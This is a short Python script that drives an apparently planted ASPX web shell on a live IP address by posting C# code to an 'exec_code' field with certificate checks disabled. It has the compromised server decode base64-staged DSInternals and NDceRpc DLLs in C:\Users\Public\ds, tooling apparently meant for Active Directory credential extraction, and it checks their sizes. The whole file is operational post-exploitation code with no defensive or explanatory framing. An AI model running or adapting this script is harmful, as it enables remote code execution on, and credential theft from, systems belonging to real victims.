#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"

def ev(code):
    return requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=300).text.split('!BD')[0]

names = ["DSInternals.Common.dll", "DSInternals.Replication.dll", "DSInternals.Replication.Model.dll",
         "DSInternals.Replication.Interop.dll", "NDceRpc.Microsoft.dll",
         "NDceRpc.ServiceModel.Core.dll", "protobuf-net.dll"]
exp = {"DSInternals.Common.dll": 248832, "DSInternals.Replication.dll": 14848,
       "DSInternals.Replication.Model.dll": 15872, "DSInternals.Replication.Interop.dll": 169984,
       "NDceRpc.Microsoft.dll": 40448, "NDceRpc.ServiceModel.Core.dll": 52224, "protobuf-net.dll": 281088}
for n in names:
    jp = 'C:\\\\Users\\\\Public\\\\ds\\\\' + n + '.bin'
    code = ('var p="%s";var t=System.IO.File.ReadAllText(p);var b=System.Convert.FromBase64String(t);'
            'System.IO.File.WriteAllBytes(p,b);Response.Write("B="+b.Length);') % jp
    r = ev(code)
    print("%-34s exp=%d -> %s" % (n, exp[n], r.strip()), flush=True)
print("DECODE_DONE")
